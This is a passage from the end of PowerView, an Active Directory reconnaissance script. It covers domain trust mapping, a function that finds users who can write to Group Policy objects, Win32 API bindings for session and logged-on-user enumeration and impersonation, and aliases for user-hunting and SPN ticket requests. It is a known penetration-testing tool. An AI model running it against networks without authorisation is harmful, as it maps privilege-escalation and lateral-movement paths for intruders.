  20493     if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] = $LDAPFilter }
  20494     if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] = $Properties }
  20495     if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase }
  20496     if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
  20497     if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope }
  20498     if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
  20499     if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
  20500     if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone }
  20501     if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential }
  20502 
  20503     # get the current domain and push it onto the stack
  20504     if ($PSBoundParameters['Credential']) {
  20505         $CurrentDomain = (Get-Domain -Credential $Credential).Name
  20506     }
  20507     else {
  20508         $CurrentDomain = (Get-Domain).Name
  20509     }
  20510     $Domains.Push($CurrentDomain)
  20511 
  20512     while($Domains.Count -ne 0) {
  20513 
  20514         $Domain = $Domains.Pop()
  20515 
  20516         # if we haven't seen this domain before
  20517         if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
  20518 
  20519             Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
  20520 
  20521             # mark it as seen in our list
  20522             $Null = $SeenDomains.Add($Domain, '')
  20523 
  20524             try {
  20525                 # get all the trusts for this domain
  20526                 $DomainTrustArguments['Domain'] = $Domain
  20527                 $Trusts = Get-DomainTrust @DomainTrustArguments
  20528 
  20529                 if ($Trusts -isnot [System.Array]) {
  20530                     $Trusts = @($Trusts)
  20531                 }
  20532 
  20533                 # get any forest trusts, if they exist
  20534                 if ($PsCmdlet.ParameterSetName -eq 'NET') {
  20535                     $ForestTrustArguments = @{}
  20536                     if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest }
  20537                     if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential }
  20538                     $Trusts += Get-ForestTrust @ForestTrustArguments
  20539                 }
  20540 
  20541                 if ($Trusts) {
  20542                     if ($Trusts -isnot [System.Array]) {
  20543                         $Trusts = @($Trusts)
  20544                     }
  20545 
  20546                     # enumerate each trust found
  20547                     ForEach ($Trust in $Trusts) {
  20548                         if ($Trust.SourceName -and $Trust.TargetName) {
  20549                             # make sure we process the target
  20550                             $Null = $Domains.Push($Trust.TargetName)
  20551                             $Trust
  20552                         }
  20553                     }
  20554                 }
  20555             }
  20556             catch {
  20557                 Write-Verbose "[Get-DomainTrustMapping] Error: $_"
  20558             }
  20559         }
  20560     }
  20561 }
  20562 
  20563 
  20564 function Get-GPODelegation {
  20565 <#
  20566 .SYNOPSIS
  20567 
  20568 Finds users with write permissions on GPO objects which may allow privilege escalation within the domain.
  20569 
  20570 Author: Itamar Mizrahi (@MrAnde7son)  
  20571 License: BSD 3-Clause  
  20572 Required Dependencies: None  
  20573 
  20574 .PARAMETER GPOName
  20575 
  20576 The GPO display name to query for, wildcards accepted.
  20577 
  20578 .PARAMETER PageSize
  20579 
  20580 Specifies the PageSize to set for the LDAP searcher object.
  20581 
  20582 .EXAMPLE
  20583 
  20584 Get-GPODelegation
  20585 
  20586 Returns all GPO delegations in current forest.
  20587 
  20588 .EXAMPLE
  20589 
  20590 Get-GPODelegation -GPOName
  20591 
  20592 Returns all GPO delegations on a given GPO.
  20593 #>
  20594 
  20595     [CmdletBinding()]
  20596     Param (
  20597         [String]
  20598         $GPOName = '*',
  20599 
  20600         [ValidateRange(1,10000)] 
  20601         [Int]
  20602         $PageSize = 200
  20603     )
  20604 
  20605     $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')
  20606 
  20607     $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
  20608     $DomainList = @($Forest.Domains)
  20609     $Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
  20610     foreach ($Domain in $Domains) {
  20611         $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
  20612         $Searcher = New-Object System.DirectoryServices.DirectorySearcher
  20613         $Searcher.SearchRoot = $Domain
  20614         $Searcher.Filter = $Filter
  20615         $Searcher.PageSize = $PageSize
  20616         $Searcher.SearchScope = "Subtree"
  20617         $listGPO = $Searcher.FindAll()
  20618         foreach ($gpo in $listGPO){
  20619             $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and  $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"}
  20620         if ($ACL -ne $null){
  20621             $GpoACL = New-Object psobject
  20622             $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
  20623             $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname
  20624             $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference
  20625             $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights
  20626             $GpoACL
  20627         }
  20628         }
  20629     }
  20630 }
  20631 
  20632 
  20633 ########################################################
  20634 #
  20635 # Expose the Win32API functions and datastructures below
  20636 # using PSReflect.
  20637 # Warning: Once these are executed, they are baked in
  20638 # and can't be changed while the script is running!
  20639 #
  20640 ########################################################
  20641 
  20642 $Mod = New-InMemoryModule -ModuleName Win32
  20643 
  20644 # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
  20645 
  20646 # used to parse the 'samAccountType' property for users/computers/groups
  20647 $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
  20648     DOMAIN_OBJECT                   =   '0x00000000'
  20649     GROUP_OBJECT                    =   '0x10000000'
  20650     NON_SECURITY_GROUP_OBJECT       =   '0x10000001'
  20651     ALIAS_OBJECT                    =   '0x20000000'
  20652     NON_SECURITY_ALIAS_OBJECT       =   '0x20000001'
  20653     USER_OBJECT                     =   '0x30000000'
  20654     MACHINE_ACCOUNT                 =   '0x30000001'
  20655     TRUST_ACCOUNT                   =   '0x30000002'
  20656     APP_BASIC_GROUP                 =   '0x40000000'
  20657     APP_QUERY_GROUP                 =   '0x40000001'
  20658     ACCOUNT_TYPE_MAX                =   '0x7fffffff'
  20659 }
  20660 
  20661 # used to parse the 'grouptype' property for groups
  20662 $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
  20663     CREATED_BY_SYSTEM               =   '0x00000001'
  20664     GLOBAL_SCOPE                    =   '0x00000002'
  20665     DOMAIN_LOCAL_SCOPE              =   '0x00000004'
  20666     UNIVERSAL_SCOPE                 =   '0x00000008'
  20667     APP_BASIC                       =   '0x00000010'
  20668     APP_QUERY                       =   '0x00000020'
  20669     SECURITY                        =   '0x80000000'
  20670 } -Bitfield
  20671 
  20672 # used to parse the 'userAccountControl' property for users/groups
  20673 $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
  20674     SCRIPT                          =   1
  20675     ACCOUNTDISABLE                  =   2
  20676     HOMEDIR_REQUIRED                =   8
  20677     LOCKOUT                         =   16
  20678     PASSWD_NOTREQD                  =   32
  20679     PASSWD_CANT_CHANGE              =   64
  20680     ENCRYPTED_TEXT_PWD_ALLOWED      =   128
  20681     TEMP_DUPLICATE_ACCOUNT          =   256
  20682     NORMAL_ACCOUNT                  =   512
  20683     INTERDOMAIN_TRUST_ACCOUNT       =   2048
  20684     WORKSTATION_TRUST_ACCOUNT       =   4096
  20685     SERVER_TRUST_ACCOUNT            =   8192
  20686     DONT_EXPIRE_PASSWORD            =   65536
  20687     MNS_LOGON_ACCOUNT               =   131072
  20688     SMARTCARD_REQUIRED              =   262144
  20689     TRUSTED_FOR_DELEGATION          =   524288
  20690     NOT_DELEGATED                   =   1048576
  20691     USE_DES_KEY_ONLY                =   2097152
  20692     DONT_REQ_PREAUTH                =   4194304
  20693     PASSWORD_EXPIRED                =   8388608
  20694     TRUSTED_TO_AUTH_FOR_DELEGATION  =   16777216
  20695     PARTIAL_SECRETS_ACCOUNT         =   67108864
  20696 } -Bitfield
  20697 
  20698 # enum used by $WTS_SESSION_INFO_1 below
  20699 $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
  20700     Active       =    0
  20701     Connected    =    1
  20702     ConnectQuery =    2
  20703     Shadow       =    3
  20704     Disconnected =    4
  20705     Idle         =    5
  20706     Listen       =    6
  20707     Reset        =    7
  20708     Down         =    8
  20709     Init         =    9
  20710 }
  20711 
  20712 # the WTSEnumerateSessionsEx result structure
  20713 $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
  20714     ExecEnvId = field 0 UInt32
  20715     State = field 1 $WTSConnectState
  20716     SessionId = field 2 UInt32
  20717     pSessionName = field 3 String -MarshalAs @('LPWStr')
  20718     pHostName = field 4 String -MarshalAs @('LPWStr')
  20719     pUserName = field 5 String -MarshalAs @('LPWStr')
  20720     pDomainName = field 6 String -MarshalAs @('LPWStr')
  20721     pFarmName = field 7 String -MarshalAs @('LPWStr')
  20722 }
  20723 
  20724 # the particular WTSQuerySessionInformation result structure
  20725 $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
  20726     AddressFamily = field 0 UInt32
  20727     Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
  20728 }
  20729 
  20730 # the NetShareEnum result structure
  20731 $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
  20732     Name = field 0 String -MarshalAs @('LPWStr')
  20733     Type = field 1 UInt32
  20734     Remark = field 2 String -MarshalAs @('LPWStr')
  20735 }
  20736 
  20737 # the NetWkstaUserEnum result structure
  20738 $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
  20739     UserName = field 0 String -MarshalAs @('LPWStr')
  20740     LogonDomain = field 1 String -MarshalAs @('LPWStr')
  20741     AuthDomains = field 2 String -MarshalAs @('LPWStr')
  20742     LogonServer = field 3 String -MarshalAs @('LPWStr')
  20743 }
  20744 
  20745 # the NetSessionEnum result structure
  20746 $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
  20747     CName = field 0 String -MarshalAs @('LPWStr')
  20748     UserName = field 1 String -MarshalAs @('LPWStr')
  20749     Time = field 2 UInt32
  20750     IdleTime = field 3 UInt32
  20751 }
  20752 
  20753 # enum used by $LOCALGROUP_MEMBERS_INFO_2 below
  20754 $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
  20755     SidTypeUser             = 1
  20756     SidTypeGroup            = 2
  20757     SidTypeDomain           = 3
  20758     SidTypeAlias            = 4
  20759     SidTypeWellKnownGroup   = 5
  20760     SidTypeDeletedAccount   = 6
  20761     SidTypeInvalid          = 7
  20762     SidTypeUnknown          = 8
  20763     SidTypeComputer         = 9
  20764 }
  20765 
  20766 # the NetLocalGroupEnum result structure
  20767 $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
  20768     lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
  20769     lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
  20770 }
  20771 
  20772 # the NetLocalGroupGetMembers result structure
  20773 $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
  20774     lgrmi2_sid = field 0 IntPtr
  20775     lgrmi2_sidusage = field 1 $SID_NAME_USE
  20776     lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
  20777 }
  20778 
  20779 # enums used in DS_DOMAIN_TRUSTS
  20780 $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
  20781     IN_FOREST       = 1
  20782     DIRECT_OUTBOUND = 2
  20783     TREE_ROOT       = 4
  20784     PRIMARY         = 8
  20785     NATIVE_MODE     = 16
  20786     DIRECT_INBOUND  = 32
  20787 } -Bitfield
  20788 $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
  20789     DOWNLEVEL   = 1
  20790     UPLEVEL     = 2
  20791     MIT         = 3
  20792     DCE         = 4
  20793 }
  20794 $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
  20795     NON_TRANSITIVE      = 1
  20796     UPLEVEL_ONLY        = 2
  20797     FILTER_SIDS         = 4
  20798     FOREST_TRANSITIVE   = 8
  20799     CROSS_ORGANIZATION  = 16
  20800     WITHIN_FOREST       = 32
  20801     TREAT_AS_EXTERNAL   = 64
  20802 }
  20803 
  20804 # the DsEnumerateDomainTrusts result structure
  20805 $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
  20806     NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
  20807     DnsDomainName = field 1 String -MarshalAs @('LPWStr')
  20808     Flags = field 2 $DsDomainFlag
  20809     ParentIndex = field 3 UInt32
  20810     TrustType = field 4 $DsDomainTrustType
  20811     TrustAttributes = field 5 $DsDomainTrustAttributes
  20812     DomainSid = field 6 IntPtr
  20813     DomainGuid = field 7 Guid
  20814 }
  20815 
  20816 # used by WNetAddConnection2W
  20817 $NETRESOURCEW = struct $Mod NETRESOURCEW @{
  20818     dwScope =         field 0 UInt32
  20819     dwType =          field 1 UInt32
  20820     dwDisplayType =   field 2 UInt32
  20821     dwUsage =         field 3 UInt32
  20822     lpLocalName =     field 4 String -MarshalAs @('LPWStr')
  20823     lpRemoteName =    field 5 String -MarshalAs @('LPWStr')
  20824     lpComment =       field 6 String -MarshalAs @('LPWStr')
  20825     lpProvider =      field 7 String -MarshalAs @('LPWStr')
  20826 }
  20827 
  20828 # all of the Win32 API functions we need
  20829 $FunctionDefinitions = @(
  20830     (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  20831     (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  20832     (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  20833     (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  20834     (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  20835     (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
  20836     (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
  20837     (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
  20838     (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
  20839     (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
  20840     (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
  20841     (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
  20842     (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
  20843     (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
  20844     (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
  20845     (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
  20846     (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
  20847     (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
  20848     (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
  20849     (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
  20850     (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
  20851     (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
  20852     (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
  20853 )
  20854 
  20855 $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
  20856 $Netapi32 = $Types['netapi32']
  20857 $Advapi32 = $Types['advapi32']
  20858 $Wtsapi32 = $Types['wtsapi32']
  20859 $Mpr = $Types['Mpr']
  20860 $Kernel32 = $Types['kernel32']
  20861 
  20862 Set-Alias Get-IPAddress Resolve-IPAddress
  20863 Set-Alias Convert-NameToSid ConvertTo-SID
  20864 Set-Alias Convert-SidToName ConvertFrom-SID
  20865 Set-Alias Request-SPNTicket Get-DomainSPNTicket
  20866 Set-Alias Get-DNSZone Get-DomainDNSZone
  20867 Set-Alias Get-DNSRecord Get-DomainDNSRecord
  20868 Set-Alias Get-NetDomain Get-Domain
  20869 Set-Alias Get-NetDomainController Get-DomainController
  20870 Set-Alias Get-NetForest Get-Forest
  20871 Set-Alias Get-NetForestDomain Get-ForestDomain
  20872 Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
  20873 Set-Alias Get-NetUser Get-DomainUser
  20874 Set-Alias Get-UserEvent Get-DomainUserEvent
  20875 Set-Alias Get-NetComputer Get-DomainComputer
  20876 Set-Alias Get-ADObject Get-DomainObject
  20877 Set-Alias Set-ADObject Set-DomainObject
  20878 Set-Alias Get-ObjectAcl Get-DomainObjectAcl
  20879 Set-Alias Add-ObjectAcl Add-DomainObjectAcl
  20880 Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
  20881 Set-Alias Get-GUIDMap Get-DomainGUIDMap
  20882 Set-Alias Get-NetOU Get-DomainOU
  20883 Set-Alias Get-NetSite Get-DomainSite
  20884 Set-Alias Get-NetSubnet Get-DomainSubnet
  20885 Set-Alias Get-NetGroup Get-DomainGroup
  20886 Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
  20887 Set-Alias Get-NetGroupMember Get-DomainGroupMember
  20888 Set-Alias Get-NetFileServer Get-DomainFileServer
  20889 Set-Alias Get-DFSshare Get-DomainDFSShare
  20890 Set-Alias Get-NetGPO Get-DomainGPO
  20891 Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
  20892 Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
  20893 Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
  20894 Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
  20895 Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
  20896 Set-Alias Get-SiteName Get-NetComputerSiteName
  20897 Set-Alias Get-Proxy Get-WMIRegProxy
  20898 Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
  20899 Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
  20900 Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
  20901 Set-Alias Get-NetProcess Get-WMIProcess
  20902 Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
  20903 Set-Alias Invoke-UserHunter Find-DomainUserLocation
  20904 Set-Alias Invoke-ProcessHunter Find-DomainProcess
  20905 Set-Alias Invoke-EventHunter Find-DomainUserEvent
  20906 Set-Alias Invoke-ShareFinder Find-DomainShare
  20907 Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
  20908 Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
  20909 Set-Alias Get-NetDomainTrust Get-DomainTrust
  20910 Set-Alias Get-NetForestTrust Get-ForestTrust
  20911 Set-Alias Find-ForeignUser Get-DomainForeignUser
  20912 Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
  20913 Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
  20914 Set-Alias Get-DomainPolicy Get-DomainPolicyData